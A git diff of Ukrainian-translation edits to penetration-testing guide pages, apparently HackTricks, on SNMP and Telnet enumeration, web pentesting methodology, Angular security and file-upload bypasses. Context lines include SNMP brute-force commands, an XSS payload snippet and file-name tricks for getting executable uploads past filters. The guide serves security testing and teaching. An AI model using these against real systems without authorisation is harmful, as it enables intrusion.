Щоб **вгадати рядок спільноти**, ви можете виконати атаку методом підбору. Перевірте [тут різні способи виконання атаки методом підбору проти SNMP](../../generic-hacking/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`.
@ -124,7 +125,7 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP** має багато інформації про хост, і речі, які можуть вас зацікавити, це: **мережеві інтерфейси** (IPv4 та **IPv6** адреси), імена користувачів, час роботи, версія сервера/ОС та **процеси**
**SNMP** має багато інформації про хост, і речі, які можуть бути вам цікаві: **мережеві інтерфейси** (IPv4 та **IPv6** адреси), імена користувачів, час роботи, версія сервера/ОС та **процеси**
**які працюють** (можуть містити паролі)....
@ -141,16 +142,16 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
- **`rwcommunity`** для **IPv4** адрес, та
- **`rwcommunity6`** для **IPv6** адрес.
Обидві команди вимагають **строку спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту.
Обидві команди вимагають **рядок спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту.
### Параметри SNMP для Microsoft Windows
Серія **значень бази управлінської інформації (MIB)** використовується для моніторингу різних аспектів системи Windows через SNMP:
- **Системні процеси**: Доступно через `1.3.6.1.2.1.25.1.6.0`, цей параметр дозволяє моніторити активні процеси в системі.
- **Запущені програми**: Значення `1.3.6.1.2.1.25.4.2.1.2` призначене для відстеження програм, які наразі працюють.
- **Запущені програми**: Значення `1.3.6.1.2.1.25.4.2.1.2` призначене для відстеження поточних запущених програм.
- **Шлях до процесів**: Щоб визначити, звідки запускається процес, використовується значення MIB `1.3.6.1.2.1.25.4.2.1.4`.
- **Сховища**: Моніторинг сховищ здійснюється за допомогою `1.3.6.1.2.1.25.2.3.1.4`.
- **Одиниці зберігання**: Моніторинг одиниць зберігання здійснюється за допомогою `1.3.6.1.2.1.25.2.3.1.4`.
- **Назва програмного забезпечення**: Для ідентифікації програмного забезпечення, встановленого на системі, використовується `1.3.6.1.2.1.25.6.3.1.2`.
- **Облікові записи користувачів**: Значення `1.3.6.1.4.1.77.1.2.25` дозволяє відстежувати облікові записи користувачів.
- **Локальні порти TCP**: Нарешті, `1.3.6.1.2.1.6.13.1.3` призначене для моніторингу локальних портів TCP, надаючи інформацію про активні мережеві з'єднання.
@ -165,7 +166,7 @@ cisco-snmp.md
## Від SNMP до RCE
Якщо у вас є **строка**, яка дозволяє вам **записувати значення** всередині служби SNMP, ви можете зловживати цим для **виконання команд**:
Якщо у вас є **рядок**, який дозволяє вам **записувати значення** в сервісі SNMP, ви можете зловживати цим для **виконання команд**:
{{#ref}}
snmp-rce.md
@ -187,7 +188,7 @@ braa ignite123@192.168.1.125:.1.3.6.*
### **Пристрої**
Процес починається з витягування **sysDesc MIB даних** (1.3.6.1.2.1.1.1.0) з кожного файлу для ідентифікації пристроїв. Це досягається за допомогою **grep команди**:
Процес починається з витягування **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) з кожного файлу для ідентифікації пристроїв. Це досягається за допомогою **grep command**:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
@ -203,7 +204,7 @@ Logs stored within MIB tables are examined for **failed logon attempts**, which
```bash
grep -i "login\|fail" *.snmp
```
### **Emails**
### **Електронні листи**
Нарешті, для витягування **адрес електронної пошти** з даних використовується **grep команда** з регулярним виразом, зосереджуючись на шаблонах, які відповідають форматам електронної пошти:
```bash

View File

@ -17,13 +17,13 @@ Telnet - це мережевий протокол, який надає кори
```bash
nc -vn <IP> 23
```
Вся цікава енумерація може бути виконана за допомогою **nmap**:
Всі цікаві перерахунки можна виконати за допомогою **nmap**:
```bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
```
Скрипт `telnet-ntlm-info.nse` отримає інформацію NTLM (версії Windows).
З [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): У протоколі TELNET є різні "**options**", які будуть санкціоновані і можуть використовуватися з структурою "**DO, DON'T, WILL, WON'T**", щоб дозволити користувачу та серверу погодитися використовувати більш складний (або, можливо, просто інший) набір конвенцій для їхнього з'єднання TELNET. Такі опції можуть включати зміну набору символів, режиму еха тощо.
З [telnet RFC](https://datatracker.ietf.org/doc/html/rfc854): У протоколі TELNET є різні "**options**", які будуть санкціоновані і можуть бути використані з структурою "**DO, DON'T, WILL, WON'T**", щоб дозволити користувачу та серверу погодитися використовувати більш складний (або, можливо, просто інший) набір конвенцій для їхнього з'єднання TELNET. Такі опції можуть включати зміну набору символів, режиму еха тощо.
**Я знаю, що можливо перерахувати ці опції, але не знаю як, тому дайте знати, якщо знаєте як.**

View File

@ -25,18 +25,18 @@ web-api-pentesting.md
## Методологія
> У цій методології ми будемо припускати, що ви збираєтеся атакувати домен (або піддомен) і тільки його. Тому ви повинні застосовувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу.
> У цій методології ми будемо припускати, що ви збираєтеся атакувати домен (або піддомен) і тільки його. Тому ви повинні застосувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу.
- [ ] Почніть з **ідентифікації** **технологій**, що використовуються веб-сервером. Шукайте **поради**, які слід пам'ятати під час решти тесту, якщо вам вдасться успішно ідентифікувати технологію.
- [ ] Чи є якісь **відомі вразливості** версії технології?
- [ ] Використовується якась **відомо технологія**? Якась **корисна порада** для отримання додаткової інформації?
- [ ] Чи є якийсь **спеціалізований сканер** для запуску (наприклад, wpscan)?
- [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось цікаве.
- [ ] Розпочніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **SSL/TLS сканування** (якщо HTTPS).
- [ ] Розпочніть **спайдеринг** веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
- [ ] _Зверніть увагу, що кожного разу, коли під час брутфорсингу або спайдерингу виявляється новий каталог, його слід спайдерити._
- [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось або чи знайдуть якусь цікаву інформацію.
- [ ] Розпочніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
- [ ] Розпочніть **павукоподібне сканування** веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід просканувати._
- [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки в пошуках нових **файлів** та **каталогів**.
- [ ] _Зверніть увагу, що кожного разу, коли під час брутфорсингу або спайдерингу виявляється новий каталог, його слід брутфорсити._
- [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід брутфорсити._
- [ ] **Перевірка резервних копій**: перевірте, чи можете ви знайти **резервні копії** **виявлених файлів**, додаючи загальні розширення резервних копій.
- [ ] **Брутфорсинг параметрів**: спробуйте **знайти приховані параметри**.
- [ ] Як тільки ви **ідентифікували** всі можливі **кінцеві точки**, що приймають **введення користувача**, перевірте на всі види **вразливостей**, пов'язаних з цим.
@ -47,7 +47,7 @@ web-api-pentesting.md
### Ідентифікація
Перевірте, чи є **відомі вразливості** для версії сервера, що працює.\
**HTTP заголовки та куки відповіді** можуть бути дуже корисними для **ідентифікації** **технологій** та/або **версії**, що використовуються. **Nmap сканування** може ідентифікувати версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)або [**https://builtwith.com/**](https://builtwith.com)**:**
**HTTP заголовки та куки відповіді** можуть бути дуже корисними для **ідентифікації** **технологій** та/або **версії**, що використовуються. **Сканування Nmap** може ідентифікувати версію сервера, але також можуть бути корисні інструменти [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)або [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -64,7 +64,7 @@ Search **for** [**вразливості веб-додатку** **версії*
### Трюки веб-технологій
Деякі **трюки** для **пошуку вразливостей** у різних відомих **технологіях**:
Декілька **трюків** для **пошуку вразливостей** у різних відомих **технологіях**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -202,12 +202,12 @@ sslyze --regular <ip:port>
Запустіть якийсь **spider** всередині вебу. Мета spider'а - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFider для JS файлів та Archive.org як зовнішнє джерело.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнє джерело.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "соковиті файли".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Він також шукає в Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider з можливостями рендерингу JS. Однак, виглядає так, що він не підтримується, попередньо скомпільована версія стара, а поточний код не компілюється.
- [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішні постачальники (wayback, otx, commoncrawl).
- [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішніх постачальників (wayback, otx, commoncrawl).
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Цей скрипт знайде URL з параметрами та виведе їх.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливостями рендерингу JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, з можливостями beautify для JS, здатний шукати нові шляхи в JS файлах. Також варто звернути увагу на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder.
@ -223,7 +223,7 @@ sslyze --regular <ip:port>
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Це інструмент, що використовується для виявлення кінцевих точок для заданої цілі.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Виявляє посилання з wayback machine (також завантажуючи відповіді в wayback та шукаючи більше посилань).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Краулінг (навіть заповнюючи форми) та також знаходження чутливої інформації, використовуючи специфічні regex.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для професіоналів у сфері кібербезпеки.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite - це розширений багатофункціональний GUI веб-безпековий краулер/spider, розроблений для фахівців з кібербезпеки.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Це пакет Go та [інструмент командного рядка](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) для витягування URL, шляхів, секретів та інших цікавих даних з вихідного коду JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge - це просте **розширення Burp Suite** для **витягування параметрів та кінцевих точок** з запиту для створення користувацького списку слів для фуззингу та перерахунку.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Чудовий інструмент для цього.
@ -264,14 +264,14 @@ sslyze --regular <ip:port>
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід Brute-Forced._
_Зверніть увагу, що щоразу, коли під час brute-forcing або spidering виявляється новий каталог, його слід brute-force._
### Що перевіряти в кожному знайденому файлі
### Що перевірити в кожному знайденому файлі
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Знайти зламані посилання всередині HTML, які можуть бути схильні до захоплення.
- **Резервні копії файлів**: Після того, як ви знайшли всі файли, шукайте резервні копії всіх виконуваних файлів ("_.php_", "_.aspx_"...). Загальні варіації для назви резервної копії: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp та file.old._ Ви також можете використовувати інструмент [**bfac**](https://github.com/mazen160/bfac) **або** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
- **Виявлення нових параметрів**: Ви можете використовувати інструменти, такі як [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **та** [**Param Miner**](https://github.com/PortSwigger/param-miner) **для виявлення прихованих параметрів. Якщо зможете, спробуйте шукати** приховані параметри в кожному виконуваному веб-файлі.
- _Arjun всі стандартні списки слів:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Arjun всі стандартні словники:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
@ -283,12 +283,12 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
### Спеціальні знахідки
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам потрібно **звернути увагу**.
**Під час** виконання **spidering** та **brute-forcing** ви можете знайти **цікаві** **речі**, на які вам слід **звернути увагу**.
**Цікаві файли**
- Шукайте **посилання** на інші файли всередині **CSS** файлів.
- [Якщо ви знайдете файл _**.git**_, можна витягнути деяку інформацію](git.md).
- [Якщо ви знайдете файл _**.git**_, з нього можна витягти деяку інформацію](git.md).
- Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як API ключі, паролі бази даних та іншу інформацію.
- Якщо ви знайдете **API кінцеві точки**, ви [також повинні їх протестувати](web-api-pentesting.md). Це не файли, але, ймовірно, "виглядатимуть" як вони.
- **JS файли**: У розділі spidering згадувалися кілька інструментів, які можуть витягувати шляхи з JS файлів. Також було б цікаво **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміна може вказувати на те, що потенційна вразливість була введена в код. Ви можете використовувати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
@ -318,7 +318,7 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
**HTTP Redirect (CTF)**
Можливо **вставити вміст** всередину **Redirection**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає перенаправлення), але щось може бути **сховане** там.
Можливо **вставити вміст** всередину **перенаправлення**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає перенаправлення), але щось може бути **сховане** там.
### Перевірка веб-вразливостей

View File

@ -14,7 +14,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
## What is Angular
Angular є **потужним** та **відкритим** фреймворком для фронтенду, який підтримується **Google**. Він використовує **TypeScript** для покращення читабельності коду та налагодження. Завдяки сильним механізмам безпеки, Angular запобігає поширеним вразливостям на стороні клієнта, таким як **XSS** та **відкриті перенаправлення**. Його також можна використовувати на **стороні сервера**, що робить питання безпеки важливими з **обох сторін**.
Angular є **потужним** і **відкритим** фреймворком для фронтенду, який підтримується **Google**. Він використовує **TypeScript** для покращення читабельності коду та налагодження. Завдяки сильним механізмам безпеки, Angular запобігає поширеним вразливостям на стороні клієнта, таким як **XSS** та **відкриті перенаправлення**. Його також можна використовувати на **стороні сервера**, що робить питання безпеки важливими з **обох сторін**.
## Framework architecture
@ -39,11 +39,11 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
Згідно з документацією, кожен Angular-додаток має принаймні один компонент, кореневий компонент (`AppComponent`), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатка, і асоціюється з HTML-шаблоном, який визначає вигляд, що має бути відображений у цільовому середовищі. Декоратор `@Component()` ідентифікує клас безпосередньо під ним як компонент і надає шаблон та відповідну метадані, специфічні для компонента. `AppComponent` визначено у файлі `app.component.ts`.
Згідно з документацією, кожен Angular-додаток має принаймні один компонент, кореневий компонент (`AppComponent`), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатка, і асоційований з HTML-шаблоном, який визначає вигляд, що має бути відображений у цільовому середовищі. Декоратор `@Component()` ідентифікує клас безпосередньо під ним як компонент і надає шаблон та відповідну специфічну метадані компонента. `AppComponent` визначено у файлі `app.component.ts`.
Angular NgModules оголошують контекст компіляції для набору компонентів, який присвячений домену додатка, робочому процесу або тісно пов'язаному набору можливостей. Кожен Angular-додаток має кореневий модуль, звичайно названий `AppModule`, який забезпечує механізм завантаження, що запускає додаток. Додаток зазвичай містить багато функціональних модулів. `AppModule` визначено у файлі `app.module.ts`.
Angular NgModules оголошують контекст компіляції для набору компонентів, який присвячений домену додатка, робочому процесу або тісно пов'язаному набору можливостей. Кожен Angular-додаток має кореневий модуль, звичайно названий `AppModule`, який надає механізм завантаження, що запускає додаток. Додаток зазвичай містить багато функціональних модулів. `AppModule` визначено у файлі `app.module.ts`.
NgModule Angular `Router` надає сервіс, який дозволяє визначити навігаційний шлях між різними станами додатка та ієрархіями виглядів у вашому додатку. `RouterModule` визначено у файлі `app-routing.module.ts`.
NgModule Angular `Router` надає сервіс, який дозволяє визначити навігаційний шлях серед різних станів додатка та ієрархій виглядів у вашому додатку. `RouterModule` визначено у файлі `app-routing.module.ts`.
Для даних або логіки, які не пов'язані з конкретним виглядом і які ви хочете поділитися між компонентами, ви створюєте клас сервісу. Визначення класу сервісу безпосередньо передує декоратору `@Injectable()`. Декоратор надає метадані, які дозволяють іншим провайдерам бути впровадженими як залежності у ваш клас. Впровадження залежностей (DI) дозволяє зберігати ваші класи компонентів стрункими та ефективними. Вони не отримують дані з сервера, не перевіряють введення користувача і не ведуть безпосередній лог до консолі; вони делегують такі завдання сервісам.
@ -58,13 +58,13 @@ NgModule Angular `Router` надає сервіс, який дозволяє в
"hidden": false
}
```
Загалом, файли sourcemap використовуються для налагодження, оскільки вони відображають згенеровані файли на їх оригінальні файли. Тому не рекомендується використовувати їх у виробничому середовищі. Якщо sourcemaps увімкнено, це покращує читабельність і допомагає в аналізі файлів, відтворюючи оригінальний стан проекту Angular. Однак, якщо вони вимкнені, рецензент все ще може вручну проаналізувати скомпільований JavaScript файл, шукаючи антисекюрні шаблони.
Загалом, файли sourcemap використовуються для налагодження, оскільки вони відображають згенеровані файли на їх оригінальні файли. Тому не рекомендується використовувати їх у виробничому середовищі. Якщо sourcemaps увімкнено, це покращує читабельність і допомагає в аналізі файлів, відтворюючи оригінальний стан проекту Angular. Однак, якщо вони вимкнені, рецензент все ще може вручну проаналізувати скомпільований JavaScript файл, шукаючи антибезпекові шаблони.
Більш того, скомпільований JavaScript файл з проектом Angular можна знайти в інструментах розробника браузера → Sources (або Debugger і Sources) → \[id].main.js. Залежно від увімкнених опцій, цей файл може містити наступний рядок в кінці `//# sourceMappingURL=[id].main.js.map` або може не містити, якщо опція **hidden** встановлена на **true**. Проте, якщо sourcemap вимкнено для **scripts**, тестування стає більш складним, і ми не можемо отримати файл. Крім того, sourcemap може бути увімкнено під час збірки проекту, наприклад, `ng build --source-map`.
## Прив'язка даних
Прив'язка відноситься до процесу комунікації між компонентом і відповідним виглядом. Вона використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або через механізм двосторонньої прив'язки. Більш того, дані також можуть бути спільними між пов'язаними компонентами (відношення батька і дитини) та між двома несумісними компонентами за допомогою функції Service.
Прив'язка відноситься до процесу комунікації між компонентом і відповідним виглядом. Вона використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або через механізм двосторонньої прив'язки. Більш того, дані також можуть бути спільними між пов'язаними компонентами (відношення батька і дитини) та між двома непов'язаними компонентами за допомогою функції Service.
Ми можемо класифікувати прив'язку за потоком даних:
@ -115,7 +115,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
* `None`;
* `HTML` використовується, коли інтерпретується значення як HTML;
* `STYLE` використовується, коли прив'язується CSS до властивості `style`;
* `URL` використовується для URL властивостей, таких як `<a href>`;
* `URL` використовується для URL-властивостей, таких як `<a href>`;
* `SCRIPT` використовується для JavaScript коду;
* `RESOURCE_URL` як URL, який завантажується та виконується як код, наприклад, у `<script src>`.
@ -216,7 +216,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
#### Візуалізація на стороні клієнта (CSR)
Angular використовує шаблони для динамічного створення сторінок. Цей підхід передбачає обгортання виразів шаблону, які Angular має оцінити, в подвійні фігурні дужки (`{{}}`). Таким чином, фреймворк пропонує додаткову функціональність. Наприклад, шаблон `{{1+1}}` відобразиться як 2.
Angular використовує шаблони для динамічного створення сторінок. Цей підхід передбачає обгортання виразів шаблону для оцінки Angular в подвійні фігурні дужки (`{{}}`). Таким чином, фреймворк пропонує додаткову функціональність. Наприклад, шаблон `{{1+1}}` відобразиться як 2.
Зазвичай Angular екранує введення користувача, яке може бути сплутане з виразами шаблону (наприклад, символи такі як \`< > ' " \`\`). Це означає, що для обходу цього обмеження потрібні додаткові кроки, такі як використання функцій, які генерують об'єкти рядків JavaScript, щоб уникнути використання заборонених символів. Однак, щоб досягти цього, ми повинні враховувати контекст Angular, його властивості та змінні. Тому атака ін'єкції шаблону може виглядати наступним чином:
```jsx
@ -229,11 +229,11 @@ template: '<h1>title</h1>' + _userInput
```
Як показано вище: `constructor` посилається на область видимості властивості Object `constructor`, що дозволяє нам викликати конструктор String і виконувати довільний код.
#### Серверний рендеринг (SSR)
#### Серверне рендеринг (SSR)
На відміну від CSR, який відбувається в DOM браузера, Angular Universal відповідає за SSR шаблонних файлів. Ці файли потім доставляються користувачу. Незважаючи на це відмінність, Angular Universal застосовує ті ж механізми санітизації, що використовуються в CSR, для підвищення безпеки SSR. Вразливість до ін'єкцій шаблонів в SSR можна виявити так само, як і в CSR, оскільки використовувана мова шаблонів є такою ж.
На відміну від CSR, яке відбувається в DOM браузера, Angular Universal відповідає за SSR шаблонних файлів. Ці файли потім доставляються користувачу. Незважаючи на це відмінність, Angular Universal застосовує ті ж механізми санітизації, що використовуються в CSR, для підвищення безпеки SSR. Вразливість ін'єкції шаблону в SSR можна виявити так само, як і в CSR, оскільки використовувана мова шаблонів є такою ж.
Звичайно, також існує можливість введення нових вразливостей до ін'єкцій шаблонів при використанні сторонніх шаблонних движків, таких як Pug і Handlebars.
Звичайно, також існує можливість введення нових вразливостей ін'єкції шаблону при використанні сторонніх шаблонних движків, таких як Pug і Handlebars.
### XSS
@ -292,9 +292,9 @@ document.body.appendChild(a);
```
#### Angular класи
Є кілька класів, які можна використовувати для роботи з елементами DOM в Angular: `ElementRef`, `Renderer2`, `Location` та `Document`. Детальний опис останніх двох класів наведено в розділі **Open redirects**. Основна різниця між першими двома полягає в тому, що API `Renderer2` забезпечує рівень абстракції між елементом DOM та кодом компонента, тоді як `ElementRef` просто містить посилання на елемент. Тому, згідно з документацією Angular, API `ElementRef` слід використовувати лише як останній засіб, коли потрібен прямий доступ до DOM.
Є кілька класів, які можна використовувати для роботи з елементами DOM в Angular: `ElementRef`, `Renderer2`, `Location` та `Document`. Детальний опис останніх двох класів наведено в розділі **Open redirects**. Основна різниця між першими двома полягає в тому, що API `Renderer2` забезпечує рівень абстракції між елементом DOM та кодом компонента, тоді як `ElementRef` просто містить посилання на елемент. Тому, згідно з документацією Angular, API `ElementRef` слід використовувати лише в крайньому випадку, коли потрібен прямий доступ до DOM.
* `ElementRef` містить властивість `nativeElement`, яка може бути використана для маніпуляції з елементами DOM. Однак неправильне використання `nativeElement` може призвести до вразливості XSS, як показано нижче:
* `ElementRef` містить властивість `nativeElement`, яка може бути використана для маніпуляції елементами DOM. Однак неправильне використання `nativeElement` може призвести до вразливості XSS, як показано нижче:
```tsx
//app.component.ts
@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s);
}
}
```
* Незважаючи на те, що `Renderer2` надає API, який можна безпечно використовувати, навіть коли прямий доступ до рідних елементів не підтримується, він все ще має деякі недоліки в безпеці. З `Renderer2` можна встановлювати атрибути на HTML-елементі за допомогою методу `setAttribute()`, який не має механізмів запобігання XSS.
* Незважаючи на те, що `Renderer2` надає API, який можна безпечно використовувати навіть коли прямий доступ до рідних елементів не підтримується, він все ще має деякі недоліки в безпеці. З `Renderer2` можна встановлювати атрибути на HTML-елемент за допомогою методу `setAttribute()`, який не має механізмів запобігання XSS.
```tsx
//app.component.ts
@ -371,11 +371,11 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
<button (click)="setProperty()">Click me!</button>
```
Під час нашого дослідження ми також вивчали поведінку інших методів `Renderer2`, таких як `setStyle()`, `createComment()` та `setValue()`, у відношенні до XSS та CSS-ін'єкцій. Однак ми не змогли знайти жодних дійсних векторів атак для цих методів через їх функціональні обмеження.
Під час нашого дослідження ми також вивчили поведінку інших методів `Renderer2`, таких як `setStyle()`, `createComment()` та `setValue()`, у відношенні до XSS та CSS-ін'єкцій. Однак ми не змогли знайти жодних дійсних векторів атак для цих методів через їх функціональні обмеження.
#### jQuery
jQuery - це швидка, маленька та багатофункціональна бібліотека JavaScript, яку можна використовувати в проекті Angular для допомоги в маніпуляції з HTML DOM об'єктами. Однак, як відомо, методи цієї бібліотеки можуть бути використані для досягнення вразливості XSS. Щоб обговорити, як деякі вразливі методи jQuery можуть бути використані в проектах Angular, ми додали цей підрозділ.
jQuery - це швидка, мала та багатофункціональна бібліотека JavaScript, яку можна використовувати в проекті Angular для допомоги в маніпуляції HTML DOM об'єктами. Однак, як відомо, методи цієї бібліотеки можуть бути використані для досягнення вразливості XSS. Щоб обговорити, як деякі вразливі методи jQuery можуть бути використані в проектах Angular, ми додали цей підрозділ.
* Метод `html()` отримує HTML вміст першого елемента в наборі відповідних елементів або встановлює HTML вміст кожного відповідного елемента. Однак за дизайном будь-який конструктор або метод jQuery, який приймає HTML рядок, може потенційно виконувати код. Це може статися через ін'єкцію `<script>` тегів або використання HTML атрибутів, які виконують код, як показано в прикладі.
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* Під час дослідницького етапу ми також переглянули клас Angular `Location` на предмет вразливостей відкритого перенаправлення, але жодних дійсних векторів не було знайдено. `Location` - це сервіс Angular, який програми можуть використовувати для взаємодії з поточною URL-адресою браузера. Цей сервіс має кілька методів для маніпуляції з даною URL-адресою - `go()`, `replaceState()` та `prepareExternalUrl()`. Однак ми не можемо використовувати їх для перенаправлення на зовнішній домен. Наприклад:
* Під час дослідження ми також переглянули клас Angular `Location` на предмет вразливостей відкритого перенаправлення, але жодних дійсних векторів не було знайдено. `Location` - це сервіс Angular, який програми можуть використовувати для взаємодії з поточною URL-адресою браузера. Цей сервіс має кілька методів для маніпуляції заданою URL-адресою - `go()`, `replaceState()` та `prepareExternalUrl()`. Однак ми не можемо використовувати їх для перенаправлення на зовнішній домен. Наприклад:
```tsx
//app.component.ts

View File

@ -31,7 +31,7 @@
- _file._
- _file.php...._
- _file.pHp5...._
4. Спробуйте обійти захист, **обманюючи парсер розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульові** байти) між розширеннями. _Ви також можете використовувати **попередні розширення** для підготовки кращого корисного навантаження._
4. Спробуйте обійти захист, **обманюючи парсер розширень** на стороні сервера за допомогою технік, таких як **подвоєння** **розширення** або **додавання сміттєвих** даних (**нульових** байтів) між розширеннями. _Ви також можете використовувати **попередні розширення** для підготовки кращого корисного навантаження._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -77,7 +77,7 @@ AAA<--SNIP 232 A-->AAA.php.png
### Other Tricks to check
- Знайдіть вразливість для **перейменування** вже завантаженого файлу (щоб змінити розширення).
- Знайдіть вразливість **Local File Inclusion** для виконання бекдору.
- Знайдіть вразливість **Local File Inclusion**, щоб виконати бекдор.
- **Можливе розкриття інформації**:
1. Завантажте **кілька разів** (і **одночасно**) **той самий файл** з **тим самим ім'ям**
2. Завантажте файл з **ім'ям** файлу або **папки**, яка **вже існує**
@ -85,7 +85,7 @@ AAA<--SNIP 232 A-->AAA.php.png
4. Завантажте файл, який може бути не легко видалити, наприклад, **“…:.jpg”** у **NTFS**. (Windows)
5. Завантажте файл у **Windows** з **недійсними символами**, такими як `|<>*?”` в його імені. (Windows)
